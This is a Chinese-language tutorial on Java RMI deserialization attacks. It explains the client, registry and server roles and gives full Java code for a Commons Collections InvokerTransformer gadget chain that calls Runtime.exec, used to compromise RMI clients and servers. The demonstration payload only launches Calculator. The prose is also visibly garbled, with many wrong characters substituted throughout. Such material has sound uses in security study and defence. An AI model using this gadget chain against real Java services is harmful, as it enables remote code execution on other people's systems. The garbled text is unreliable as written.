1、RMI是什么
RMI(Remote Method Invocatio),是一种跨JVM实现办法调用的技术。个别由三个局部组成
-
Client(客户端) Registry获得服务端注册的服务,而后调用近程办法
// Connect to RMI Registry :localhost:1099 Registry registry = LocateRegistry.getRegistry("localhost", 1099); // search service which called evil and cast type to EvilService EvilService evilService = (EvilService) registry.lookup("evil"); //call evil method and need to call "put" function to trigger //evilTransformerMap办法具体的执行逻辑是在服务端执行的,并返回后果给client Map evilObject = (Map)evilService.evilTransformerMap();
- Registry(注册核心) 能够了解成一个存储近程对象的字典,负责网络传输的模块
-
Server(服务端) 负责在注册核心注册服务,其实就是将一个近程对象给Registry进行封装
//实例化一个EvilService 即要绑定的对象 EvilService evilService = new EvilServiceImpl(); // 将此服务转换为近程服务接口 EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0); //创立注册核心 Registry registry = LocateRegistry.createRegistry(1099); //将服务注册 registry.bind("evil",skeleton);
PS:在低版本的JDK中,Server
与Registry
是能够不在一台服务器上的,而在高版本的JDK中,Server
与Registry
只能在一台服务器上,否则无奈注册胜利。
2、服务端或服务端与注册核心通信
2.1 本地获取注册核心
本地获取是在创立的同时返回Registry
对象(RegistryImpl
)通过createRegistry
办法如:
Registry registry = LocateRegistry.createRegistry(1099);
获取对象后能够进行bind,list,lookup,rebind,unbind
等操作
2.2 近程获取注册核心
通过getRegistry
办法取得的对象是RegistryImpl_Stub
对象而createRegistry
取得的是RegistryImpl
对象。
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
这两者的区别在于在对Registry
进行操作的时候流程会有不同,有趣味的同学能够尝试打断点进行调试查看具体区别
2.3 客户端与服务端的通信
这里次要讲一下会引发反序列化的环节
当客户端发动调用近程办法的时候,实际上是客户端与2.4中的Skeleton
进行通信,而如果返回客户端的执行后果是一个对象,则在客户端会对其进行反序列化
而当服务端接管的某个参数类型是Object
的时候,则会呈现在服务端反序列化的状况。
2.4 流程图
3、反序列化攻打
3.1 攻打Registry
注册核心间接利用bind
或rebind
即可攻打这里不再赘述了
3.2 攻打Client
EvilObject
public class EvilServiceImpl implements EvilService {
public EvilServiceImpl(){
}
public Transformer gadgetTransformerChain(){
Transformer transformerChain = null;
try {
transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
}catch (Exception e){
e.printStackTrace();
}
return transformerChain;
}
public Object evilTransformerMap() throws RemoteException {
//转化为map
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,gadgetTransformerChain());
return outputMap;
}
}
Server
public class RMIServer {
public static void main(String[] args) {
try {
//实例化一个EvilService
EvilService evilService = new EvilServiceImpl();
// 将此服务转换为近程服务接口
EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("evil",skeleton);
}catch (Exception e){
e.printStackTrace();
}
}
}
Client
public class RMIClient {
public static void main(String[] args) throws Exception {
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// search service which called evil and cast type to EvilService
EvilService evilService = (EvilService) registry.lookup("evil");
//call evil method and need to call "put" function to trigger
//deserialize will happen when function evilTransformerMap() is called
Map evilObject = (Map)evilService.evilTransformerMap();
evilObject.put("1","111");
}
}
3.3 攻打Server
大体上没什么变动只是evilObject
的发送方产生了变动
RMIClient
public class RMIClient {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,transformerChain);
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Service service = (Service) registry.lookup("evil");
//触发服务端反序列化
service.evil(outputMap);
}
}
ServiceImpl
public class ServiceImpl implements Service {
public ServiceImpl(){
}
@Override
public void evil(Object evilObject) throws RemoteException {
((Map) evilObject).put("1","111");
}
}
4、修复
1、在高版本的jdk(8u141)
中,RegistryImpl#bind
中增加了一个checkAccess
办法,来测验你的起源是否为localhost
,这个修复解决了攻打注册核心的问题
发表回复